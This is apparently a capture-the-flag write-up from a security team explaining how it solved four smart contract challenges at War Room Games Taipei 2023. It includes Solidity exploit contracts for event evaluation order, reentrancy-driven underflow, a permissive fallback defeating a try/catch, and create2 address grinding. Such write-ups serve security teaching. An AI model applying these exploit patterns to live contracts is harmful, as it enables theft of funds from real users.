War Room Games Taipei 2023 Writeup

Amber Group
12 min readMay 15, 2023

War Room Games, a capture the flag (CTF) event hosted by Tenderly and Furucombo, recently made its way to Taipei at the ETHTaipei 2023 conference and hackathon. Our team was thrilled to participate in this cyberpunk-themed hacking competition.

With a primary focus on finding exploits and vulnerabilities in smart contracts, our two representatives Dr. Chiachih Wu (@chiachih_wu) and Bill Hsu (@HiBillHsu) from the Amber Web3 Security Team teamed up with Charles Jhong (@charlesjhongc) and Robin Pan (@_Robin_Pan) to take on the War Room Games Taipei 2023 challenges. In just over three hours, our team solved all the puzzles and won first place, making us the only team to complete all the challenges!

Here is a list of the challenges we faced and how we solved them:

Arcade

Description

The objective of this challenge was to obtain over 200 Arcade tokens. To acquire tokens, participants were required to call earn() to accumulate points, followed by calling the redeem() to convert these points into tokens. However, earn() has a frequency limitation that makes it challenging to accumulate enough points quickly. Participants needed to come up with an innovative strategy to overcome this limitation and earn the necessary tokens to complete the challenge.

function earn() external onlyPlayer {
require(block.timestamp >= lastEarnTimestamp + 10 minutes, "Too frequent");
address player = msg.sender;
scoreboard[player] += 10;
lastEarnTimestamp = block.timestamp;
emit PlayerEarned(player, getCurrentPlayerPoints());
}

Analysis

Upon analyzing the challenge requirements, we quickly realized that obtaining 200 tokens by calling earn() ten times was unfeasible. However, we observed that certain preassigned addresses were allocated with specific scores in the challenge setup:

address public constant player1 = 0x1111Ad317502Ba53c84BD2D859237D33846Ca2e7;
address public constant player2 = 0x2222140D9A0809B35D88636E3dDeC37B6bDd7CB2;
address public constant player3 = 0x33339741B46D6EE8adCc0d796dE2aB6Ea3E8dc2A;
address public constant player4 = 0x4444bd21FA6Ec8846308e926B86D06b74f63f4aD;

arcade.setPoints(player1, 80);
arcade.setPoints(player2, 120);
arcade.setPoints(player3, 180);
arcade.setPoints(player4, 190);

Initially, we suspected that these addresses might be related to private key leak or the previous Profanity vulnerability. However, after further investigation and verification, we quickly dismissed these possibilities.

In the process of analyzing the code, we discovered something remarkable in an inconspicuous function:

function changePlayer(address newPlayer) external onlyPlayer {
address oldPlayer = currentPlayer;
emit PlayerChanged(_redeem(oldPlayer), _setNewPlayer(newPlayer));
}

The PlayerChanged event type is:

event PlayerChanged(address indexed oldPlayer, address indexed newPlayer);

At first glance, one would probably assume that the logic of this function is to redeem points for the former player while setting a new player address. However, this is only accurate if Solidity evaluates event parameters from left to right. In the Underhanded Solidity Contest 2022 winning entry, it was mentioned that “The indexed parameters are evaluated first in right-to-left order.” Therefore, the execution order here is _setNewPlayer() followed by _redeem().

In _redeem(), the current player’s points are retrieved and transferred to the input address. Thus, if we call changePlayer() and set player4 as the newPlayer, we can obtain player4’s 190 points. Adding a single earn() call will meet the challenge’s requirement.

Solution

contract Exploit {
ArcadeBase public arcadeBase;
Arcade public arcade;

function setup(address _arcadeBase) external {
arcadeBase = ArcadeBase(_arcadeBase);
arcadeBase.setup();
arcade = Arcade(arcadeBase.arcade());
}

function solve() external {
arcade.earn();
arcade.redeem();
arcade.changePlayer(arcadeBase.player4());
arcadeBase.solve();
}
}

ETHTaipeiWarRoomNFT

Description

To set up this challenge, an NFT contract was deployed, and an NFT was minted for each player. Additionally, it deployed a Pool contract.

function setup() external override {
challenger = msg.sender;
nft = new WarRoomNFT();
pool = new Pool(address(nft));
tokenId = nft.mint(challenger);
}

To pass this level, we needed to accumulate a balance of over 1⁰²¹ in the Pool contract:

function isSolved(address user) external view returns (bool) {
return _balances[user] > 1000 ether;
}

The Pool contract mainly consists of simple logic, including a deposit() and withdraw() function. Each deposit of a specified NFT into the Pool contract increases the balance by one, while withdrawing the NFT decreases the balance by one:

function deposit(uint256 tokenId) external {
IERC721(NFTCollateral).transferFrom(msg.sender, address(this), tokenId);
_userDeposits[msg.sender][tokenId] = true;
_balances[msg.sender] += 1 ether;
}

function withdraw(uint256 tokenId) external {
require(_userDeposits[msg.sender][tokenId], "Should be owner.");
require(_balances[msg.sender] > 0, "Should have balance.");

IERC721(NFTCollateral).safeTransferFrom(address(this), msg.sender, tokenId);
_balances[msg.sender] -= 1 ether;
delete _userDeposits[msg.sender][tokenId];
}

Analysis

Upon examining the challenge, we noticed that the contract compilation version used was v0.7.0, and the challenge required a very large balance. It became apparent that we would need to exploit underflow to meet the level’s requirement.

In addition, the safeTransferFrom() function used in withdraw() triggers an onERC721Received() function when the recipient is a contract:

function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}

function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}

Furthermore, the implementation of withdraw() does not follow the checks-effects-interactions best practice. If we re-entered the withdraw() function within the onERC721Received() function, we could pass the check again before updating the _balances and _userDeposits states. This would result in the execution of _balances[msg.sender] -= 1 ether twice, causing underflow.

However, calling withdraw() directly within onERC721Received() would cause the second safeTransferFrom() to fail because the token had already been transferred during the first safeTransferFrom() execution. To circumvent this issue, we transferred the NFT directly into the Pool rather than going through deposit before re-entering.

Solution

contract Exploit is IERC721Receiver {
PoolBase public poolBase;
Pool public pool;
IERC721 public nft;
uint256 public tokenId;
bool public flag;

function setup(address _poolBase) public {
poolBase = PoolBase(_poolBase);
poolBase.setup();

pool = Pool(poolBase.pool());
nft = IERC721(poolBase.nft());
tokenId = poolBase.tokenId();
}

function solve() public {
nft.approve(address(pool), tokenId);
pool.deposit(tokenId);
pool.withdraw(tokenId);

poolBase.solve();
}

function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (!flag) {
flag = true;
nft.transferFrom(address(this), address(pool), tokenId);
pool.withdraw(tokenId);
}
return IERC721Receiver.onERC721Received.selector;
}
}

Casino

Description

In this challenge, a Casino contract and a wNative contract were deployed. The wNative contract was designed similarly to WETH and was set as the accepted betting token for the casino contract.

The setup minted 1 and 1⁰²¹ wNativetokens for the player and the casino, respectively.

function setup() external override {
casino = new Casino();
casino.allowToken(address(wNative));
wNative.mint(msg.sender, 1);
wNative.mint(address(casino), 1_000e18);
}

In the `Casino` contract, there is a `play` function that allows players to bet:

function play(address token, uint256 amount) public checkPlay {
_bet(token, amount);
CasinoToken cToken = isCToken(token) ?
CasinoToken(token) : CasinoToken(_tokenMap[token]);
// play
cToken.get(msg.sender, amount * slot());
}

First, let’s analyze the operation inside play.

The _bet function was responsible for burning the bet token. It could accept two types of tokens: underlying tokens or cTokens, with both being accepted. The cToken used in the Casino contract served as an internal accounting tool. When a user deposited their bet token into the casino contract, an equivalent amount of cToken was minted as a voucher, and the cToken could be redeemed for the bet token when the user wanted to withdraw from the casino. Executing cToken.bet() in the function would burn the user’s cToken, representing their bet.

function _bet(address token, uint256 amount) internal {
require(isAllowed(token), "Token not allowed");
CasinoToken cToken = CasinoToken(token);
try cToken.bet(msg.sender, amount) {}
catch {
cToken = CasinoToken(_tokenMap[token]);
deposit(token, amount);
cToken.bet(msg.sender, amount);
}
}

In the play function, cToken.get() increases the user’s cToken by amount * slot(). The condition for slot() > 0 is that the previous block’s hash has to contain at least two identical digits among the last three digits:

function slot() public view returns (uint256) {
unchecked {
uint256 answer = uint256(blockhash(block.number - 1)) % 1000;
uint256[3] memory slots =
[(answer / 100) % 10, (answer / 10) % 10, answer % 10];
if (slots[0] == slots[1] && slots[1] == slots[2]) {
if (slots[0] == 7) {
return 100;
} else {
return 10;
}
} else if (
slots[0] == slots[1] || slots[1] == slots[2] || slots[0] == slots[2]
) {
return 3;
} else {
return 0;
}
}
}

Finally, to pass this level, we needed to empty the wNative token in the Casino contract:

function solve() public override {
require(IERC20(wNative).balanceOf(address(casino)) == 0);
super.solve();
}

Analysis

To empty the wNative token in the Casino contract, the standard playing method was not applicable, and we needed to identify a vulnerability in the betting mechanism. Although the probability of slot() returning a value greater than zero is not low, with a 1 — (10 * 9 * 8 / 10³) = 28% chance, we still needed to win dozens of times without losing to turn our initial chips from 1 to 10²¹.

Looking back at _bet, we noticed the use of try-catch to handle two possible token types. It’s easy to understand that the design first treats the input parameters as cToken and directly executes cToken.bet(msg.sender, amount). If the input parameters are actually underlying tokens, the error will be thrown due to the absence of the bet(address, uint256) function in the underlying token and enter the catch. However, we wondered if there existed a possibility where the underlying token contract lacked a bet() function, but cToken.bet(msg.sender, amount) would not revert? To explore this possibility, we examined the wNative contract:

contract WrappedNative is ERC20("Wrapped Native Token", "WNative"), Ownable {
using Address for address payable;

fallback() external payable {
deposit();
}

function mint(address receiver, uint256 amount) external onlyOwner {
_mint(receiver, amount);
}

function deposit() public payable {
_mint(msg.sender, msg.value);
}

function withdraw(uint256 amount) external {
_burn(msg.sender, amount);
payable(msg.sender).sendValue(amount);
}
}

We inspected the contract WrappedNative and found it to be similar to WETH, except for an owner-only mint() function. Of particular interest was the fallback() function. When a contract is called without a corresponding function selector, its fallback() is triggered. When the fallback() in wNative is triggered, it executes deposit() without imposing any additional restrictions or checks on msg.value or calldata. This means that if the token used in _bet is wNative, then cToken.bet(msg.sender, amount) will not throw an error. Instead, it will actually perform a deposit operation with a quantity of 0, meaning that the user’s cToken balance would not be checked and would not be burned! (As a side note, Multichain had a similar vulnerability in 2022, its announcement at the time.)

At this point, our approach became clear. We just needed to pass wNative as a parameter, and set the bet amount to a sufficiently large number. As long as slot() returned a value greater than zero once, we could obtain enough cToken to empty the wNative in the casino.

In addition to the above method, there are several other possible solutions to this challenge. One is to deposit some ETH into wNative to obtain more initial chips, which could significantly reduce the time needed to brute force the solution. Another approach is to use a factory contract to deploy multiple contracts within a single transaction. This strategy allows challengers to bypass the limitation imposed by the checkDeposit modifier, which prevents one address from betting more than once in the same block. Each of these contracts have a unique address, which allows them to bet in turn in a single block. Furthermore, they were able to transfer the cToken obtained from each contract to the next one for betting, thereby exponentially increasing their balances as long as the hash value of a block met the required conditions.

modifier checkDeposit() {
require(block.timestamp > _depositTime[msg.sender]);
_depositTime[msg.sender] = block.timestamp;
_;
}

Solution

contract Exploit {
CasinoBase public casinoBase;
Casino public casino;
address public wNative;

function setup(address _casinoBase) public {
casinoBase = CasinoBase(_casinoBase);
casinoBase.setup();

casino = Casino(casinoBase.casino());
wNative = casinoBase.wNative();
}

function solve() public {
require(casino.slot() > 0, "Slot == 0");

casino.play(wNative, uint256(1e21) / 3 + 1);
casino.withdraw(wNative, 1e21);

casinoBase.solve();
}
}

WBC

To solve this challenge, you had to score in the WBC game by setting scored = true through either executing homerun() or _homeBase().

function homerun() external {
require(block.timestamp % 23_03_2023 == 0, "try again");
scored = true;
}

Since achieving a favorable block.timestamp value for homerun() was difficult within the given time limit, challengers were advised to start from ready() and tackle five sub-problems until reaching the _homeBase().

Ready()

function ready() external {
require(IGame(msg.sender).judge() == judge, "wrong game");
_swing();
}

By reading the first line in the ready() function, we knew that we had to deploy a contract to invoke the ready() function. In that contract, we needed to implement a judge() function which would return the judge address. Since judge was set to block.coinbase in the constructor of the WBC contract as shown below, our own contract should deploy the WBC contract (i.e., through WBCBase.setup()) and invoke ready() in the same block such that we could return block.coinbase in the judge() function to pass the check in ready().

constructor() {
judge = block.coinbase;
}

bodyCheck()

After passing the check in ready(), challengers could now _swing(). However, before doing so, you needed to pass the bodyCheck() and become a player, which was validated in the onlyPlayer modifier associated with the _swing() function.

modifier onlyPlayer() {
require(msg.sender == player, "security!");
_;
}

function bodyCheck() external {
require(msg.sender.code.length == 0, "no personal stuff");
require(uint256(uint160(msg.sender)) % 100 == 10, "only valid players");
player = msg.sender;
}

function _swing() internal onlyPlayer {
_firstBase();
require(scored, "failed");
}

So, how to pass the bodyCheck()? First, you needed to ensure that your contract had zero code length, which could be achieved by invoking bodyCheck() in the constructor. Secondly, your contract had to be deployed at a special address to pass msg.sender % 100 == 10. One way to get that special address was to keep deploying new contracts until a special address was hit. A more efficient way was to use create2 to deploy contracts, which allowed us to pre-compute the contract address with given bytecode and salt. The following code snippet demonstrates this method:

function getAddress(uint256 salt) public view returns (address) {
bytes memory bytecode = type(Lib).creationCode;
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), keccak256(bytecode)));

return address(uint160(uint256(hash)));
}

If we got a good salt, we could deploy the contract this way:

bytes memory bytecode = type(Lib).creationCode;
address addr;

for (uint256 i = 0; i < 1000; i++) {
if (uint256(uint160(getAddress(i))) % 100 != 10) {
continue;
}
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), i)
}
break;
}
require(addr != address(0), "!good");

As we mentioned earlier, we needed to invoke the bodyCheck() from the constructor:

constructor() {
IFoo(0x2a255989d817413AB857F562eD269634ED826300).setup();
IBar(IFoo(0x2a255989d817413AB857F562eD269634ED826300).wbc()).bodyCheck();
}

Then, we could start from ready() with an external view function judge() returning block.coinbase:

function go() external {
IBar(IFoo(0x2a255989d817413AB857F562eD269634ED826300).wbc()).ready();
}

function judge() external view returns (address) {
return block.coinbase;
}

Now, we successfully reached the _firstBase().

steal()

As shown below, _firstBase() calls _sendBase() with an uint160 number. Later on, _sendBase() checked that number with the number returned by steal() of the msg.sender.

function _firstBase() internal {
uint256 o0o0o0o00oo00o0o0o0o0o0o0o0o0o0o0o0oo0o = 1001000030000000900000604030700200019005002000906;
uint256 o0o0o0o00o0o0o0o0o0o0o0ooo0o00o0ooo000o = 460501607330902018203080802016083000650930542070;
uint256 o0o0o00o0oo00oo00o0o0o0o0o0o0o0o0oo0o0o = 256; // 2^8
uint256 o0oo0o0o0o0o0o0o0o0o00o0oo00o0o0o0o0o0o = 1;
_secondBase(
uint160(
o0o0o0o00oo00o0o0o0o0o0o0o0o0o0o0o0oo0o
+ o0o0o0o00o0o0o0o0o0o0o0ooo0o00o0ooo000o * o0o0o00o0oo00oo00o0o0o0o0o0o0o0o0oo0o0o
- o0oo0o0o0o0o0o0o0o0o00o0oo00o0o0o0o0o0o
)
);
}

function _secondBase(uint160 input) internal {
require(IGame(msg.sender).steal() == input, "out");
_thirdBase();
}

execute()

The _thirdBase() problem required challengers to implement an execute() function which returns HitAndRun.

function _thirdBase() internal {
require(
keccak256(abi.encodePacked(this.decode(IGame(msg.sender).execute()))) ==
keccak256("HitAndRun"),
"out"
);
_homeBase();
}

Actually, the returned string would be fed into the decode() function and generate the HitAndRun string. Based on the three lines of assembly code, we knew that decode() packed the bytes32 data to a string in EVM format. Specifically, the 0x20 offset was stored at the first word, which meant we should have a uint256 length of the HitAndRun string (i.e., 9) in the second word followed by the HitAndRun string.

function decode(bytes32 data) external pure returns (string memory) {
assembly {
mstore(0x20, 0x20)
mstore(0x49, data)
return(0x20, 0x60)
}
}

Since data was stored at the 9th byte in the second word (i.e., (0x49–0x20) = 0x20*1 + 9), the bytes32 returned by execute() would be 0x09 + 486974416E6452756E (the ASCII code of HitAndRun) with leading zeros as follows:

function execute() external returns (bytes32) {
prev_gas = gasleft();
return bytes32(
0x0000000000000000000000000000000000000000000009486974416E6452756E
);
}

This way, the string returned by decode() would be:

0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000009
486974416E6452756E

It represents a 9-byte string at offset 0x20 in EVM.

shout()

The _homeBase() function required challengers to implement a shout() function in which two consecutive staticcall returned different strings.

function _homeBase() internal {
scored = true;
(bool succ, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("shout()"));
require(succ, "out");
require(
keccak256(abi.encodePacked(abi.decode(data, (string)))) == keccak256(abi.encodePacked("I'm the best")),
"out"
);
(succ, data) = msg.sender.staticcall(abi.encodeWithSignature("shout()"));
require(succ, "out");
require(
keccak256(abi.encodePacked(abi.decode(data, (string))))
== keccak256(abi.encodePacked("We are the champion!")),
"out"
);
}

Since staticcall cannot make any state change, we were not able to simply use a storage variable to distinguish between the first and the second staticcall. After some brainstorming, we realized that the only difference between two consecutive staticcall is the gas consumption.

function shout() external view returns (bytes memory) {
//console.log(prev_gas - gasleft());
if (prev_gas - gasleft() <= 25500) {
return ("I'm the best");
} else {
return ("We are the champion!");
}
}

With that in mind, we intentionally stored the gasleft() value in execute() and used the offset between the old and current gasleft() to identify if the current staticcall was the first. Specifically, we used console.log() in foundry to print out the offset while doing forge test and hard-coded that number in the shout() function for returning different strings.

Closing

We would like to express our heartfelt appreciation to the organizers of this event for providing an exceptional platform that brought together local web3 builders and ethical hackers to discuss and exchange views on the rapidly evolving security landscape of the industry. It was a pleasure to be part of the ETHTaipei conference, a gathering that unites crypto enthusiasts from around the world to network and learn.

Our participation in this CTF competition was yet another remarkable achievement for our team as we continue to focus on identifying exploits and vulnerabilities in smart contracts to ensure the safety of Web3. We recognize the importance of developing secure decentralized systems and remain committed to deepening our commitment to security and contributing to a more secure future for decentralized finance.

--

--